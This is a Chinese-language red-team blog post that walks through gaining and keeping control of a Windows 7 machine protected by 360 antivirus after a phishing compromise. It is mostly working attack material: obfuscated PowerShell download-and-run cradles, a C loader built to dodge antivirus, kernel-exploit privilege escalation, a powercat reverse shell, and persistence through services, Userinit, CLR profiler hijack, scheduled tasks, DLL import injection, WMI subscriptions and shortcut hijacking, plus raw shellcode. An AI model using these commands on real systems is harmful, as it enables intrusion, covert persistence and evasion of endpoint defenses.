【红蓝对抗】内网渗透-windows持久性后门
2022-8-15 09:55:57 Author: 白帽子(查看原文) 阅读量:78 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前不久进行了一次钓鱼,对方电脑是win7系统,加上有杀软,最后因为电脑关机,失去了权限。整理下从木马上线到快速建立后门的方法。

基于之前失败的经历,搭建本地实验环境。
操作系统:win7 x64
安装防护:360安全卫士+360杀毒
权限:普通用户权限
补丁数量:3个

首先需要一个可以过360卫士+杀毒的免杀木马,需要平时对免杀有一定积累,能过360全家桶的方法有很多,使用之前介绍过的powershell拆分免杀。(免杀失效的话需要进行进一步混淆)

powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)

使用c语言的system函数去执行powershell。

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}

编译为exe文件,达到免杀的目的。

使用的是cs生成的木马,权限为普通用户权限。
修改注册表,注册系统服务等等操作,都需要要管理员权限,需要进行提权。
靶机操作系统为win7,几乎没打任何安全补丁,打算使用windows内核漏洞进行提权。
尝试使用cs自带的提权,因为360全家桶的原因失败。

准备使用powershell进行免杀提权。
显示powershell.exe拒绝访问。

发现powershell.exe被加入黑名单阻止运行了。

遇到这种情况,可以自己上传相同版本的powershell.exe到可写目录下。

C:\Windows\Temp

上传到windows的临时文件夹。
成功绕过360限制调用powershell。

使用powershell免杀提权,远程加载提权exe并同时再次执行木马。

C:\Windows\Temp\powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/ps/cve-2018-8120.exe  -ExeArgs '"C:\Windows\Temp\123.exe"' -ForceASLR"

成功获取到system权限会话。

成功获得system权限,开始尝试建立持久性后门。
cs自带了Desktop功能,可以实时查看当前用户的桌面,还可以进行远程操控,如何杀软不拦截的话,可以手动退出杀软。

5.1、建立系统服务

获得了管理员的权限可以选择建立系统服务来进行持久控制,会被杀软拦截。
1、使用sc命令建立系统服务,可以选择执行上传的木马,或者powershell远程执行。

sc create "nuoyan" binpath= "c:\accc.exe"
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
设置为自动运行
sc config "服务名" start= auto
删除服务。
sc delete "服务名"

2、使用powershell建立系统服务,Name指定服务名,BinaryPathName指定文件路径。

powershell.exe new-service –Name nuoyani  –BinaryPathName "C:\WINDOWS\Temp\360.exe" –StartupType Automatic

$c2='new-';$c3='service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:\accc.exe" –StartupType Automatic'; $Text=$c2+$c3;IEX(-join $Text)

多次尝试绕过杀软添加服务失败,360会先检测new-service关键字拦截powershell,使用拆分法绕过,360又对注册表行为进行了检测,无法绕过。

5.2、注册表运行键

5.2.1、userinit注册表后门

在用户进行登陆时,可以更改它的值来添加与删除程序。从而达到增加隐蔽后门的目的。
使用powershell命令对键值进行修改。

powershell.exe Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe  IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

使用cs实际执行时发现几个坑点:
1、直接执行powershell命提示找不到实际参数。

解决方法:把powershell命令保存到ps1文件中,使用命令后直接执行ps1文件。

2、cs执行失败(原因未知)
首先需要修改本机powershell的执行策略为可执行,使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制)
当使用cs执行ps1文件,注册表键值未发生改变。经过多次尝试都没能执行成功。

本地执行ps1文件,可以正常执行成功。

尝试反弹shell到vps上,可以成功运行ps1脚本。

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/ps/powercat.ps1');powercat -c x.x.x.x -p xx -e cmd

开启360进行测试,无法绕过360增加userinit注册表后门。

5.2.2 CLR后门

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。可以在没有管理员权限情况下,劫持所有.Net程序,系统默认调用.net程序,导致后门自动触发。
1、首先准备dll后门文件,区分32和64位。
可以使用cs自带的dll后门文件,但是不免杀,可以根据自己的需求自己写dll。

2、修改当前用户的环境变量。
可以使用wmi进行修改

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"

或者使用powershell修改

New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "
HKCU:\Environment\" COR_PROFILER -value "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" -propertyType string | Out-Null

3、执行reg add修改注册表键值。
32位系统

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServe***" /ve /t REG_EXPAND_SZ /d "C:\tide\tide32.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

dll分为32和64,
64位系统需要同时修改32和64的注册表键值。

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServe***" /ve /t REG_EXPAND_SZ /d "C:\tide\tide64.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Software\Classes\WoW6432Node\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServe***" /ve /t REG_EXPAND_SZ /d "C:\tide\tidd32.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f

4、设置成功,cs中执行powershell.exe ,成功接收到会话,调用其它.net程序时都可以接收到会话。

无法绕过360。
使用WMI修改环境变量会被拦截;dll文件不免杀会被拦截;修改注册表行为会被拦截。

很多持久性后门都是对注册表进行操作,都无法绕过杀软。

5.3、计划任务

管理员权限下,使用schtasks.exe创建一个计划任务,/TN为任务名,/TR为木马路径,设置当任何用户登录时触发计划任务,执行木马。
上传免杀的exe木马,执行命令。

schtasks.exe /Create /TN 主动防御 /TR c:\windows\temp\tide_ms.exe  /SC ONLOGON /F /RL HIGHEST

360能够拦截相关行为。

5.4、dll后门

将恶意dll注入到正常程序的导入表中,每当运行程序都会加载恶意dll,从而达到持久控制的目的。

团队逆向大佬雨夜RainyNight已经发表过相关的技术文章。
直接使用自动化dll注入工具,输入shellcode自动生成dll文件。

使用cs自动生成的shellcode,可以提取免杀exe的shellcode。

生成dll文件。

把生成的dll文件和conf.inf放入到KK.exe的同级目录下。

选择生成的dll和kk.exe

运行kk.exe ,cs成功上线。

重启电脑后,启动kk.exe可以上线。

实际情况可能无法登录对方的远程桌面,且使用的dll注入工具会报毒。

可以查看对方安装的软件,下载相同版本,在本地进行进行dll注入,然后把生成的exe文件,dll文件,conf.inf文件一起上传到目标机器的指定目录下,替换原有exe文件。

当目标机器执行被替换后的exe时,恶意dll被执行,达到持久性控制的目的。

360可以查杀到dll(iat).exe工具生成dll的特征值,使用弹计算器的shellcode仍然会被查杀。

\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00

自动化工具无法绕过杀软,可以根据这个思路,手动修改程序的iat导入表,从而达到免杀持久控制的目的。可参考:https://www.freebuf.com/articles/system/228233.html

工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ

提取码:c29j

5.5、WMI后门

wmi触发器

wmi事件的基础:
1、事件筛选器
事件筛选器描述事件并且执行WQL事件查询。
2、事件消费者
事件消费者是什么呢?事件消费是一个派生自 __EventConsumer 系统类的类,它表示了在事件触发时的动作。我们常用的消费类有下面两个:
ActiveScriptEventConsumer – 执行嵌入的 VBScript 或 JScript 脚本 payload
CommandLineEventConsumer – 执行一个命令行程序
3、消费者绑定筛选器
消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。

实例代码

事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器,且60秒触发一次,在事件被触发时事件消费者会使用CommandLineEventConsumer执行已指定好的tide.exe。

$fname = "cccc"
$cname = "cccc"
$CommandLineTemplate = "C:\Windows\temp\tide.exe"
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$fname;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate }
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null

当计算机重启后一段时间cs成功接收到2个会话信息。
可以根据实际需要选择合适的事件筛选器。
系统每过60秒触发一次事件消费者。

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'   

当运行计算器后触发,且每5秒触发一次事件消费者。

SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='calc.exe'

使用Autoruns查看和删除WMI数据库的内容。

360可以拦截到WMI相关行为。

替换目标常用快捷方式指向的exe文件。
查看桌面快捷方式火狐的目标位置,修改firefox.exe为firefox1.exe
编写代码成exe,分别运行火狐浏览器firefox1.exe,和木马文件tide.exe。
也可以执行其它系统命令,如powershell,有杀软的情况下需要对文件和powershell进行免杀处理。

#include<stdio.h>
#include<stdlib.h>
int main(){
system("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox1.exe\"");
system("C:\\Windows\\Temp\\tide.exe");
return 0;
}

使用Restorator修改exe文件图标。

当用户点击桌面的快捷方式时,执行替换后的可执行文件,同时执行原文件和木马程序。

本次只写出了一部分建立持久性后门的方法,还有许多方法没有进行演示,大部门方法都是对注册表进行更改,无法绕过杀软。

http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/
https://www.freebuf.com/sectool/157952.html
https://www.cnblogs.com/-qing-/p/10964486.html
https://yq.aliyun.com/articles/215002
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/
https://www.freebuf.com/column/165235.html
https://www.bookstack.cn/read/Powershell-Attack-Guide/ch7.md
https://3gstudent.github.io/
https://www.freebuf.com/articles/system/228233.html

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246290&idx=2&sn=13b8715f1c9161b8d7cb142fa070b967&chksm=82ea573bb59dde2d064daf1b73a4657f29b0716ed410129169f403f5ded6c39867c967d51f14#rd
如有侵权请联系:admin#unsafe.sh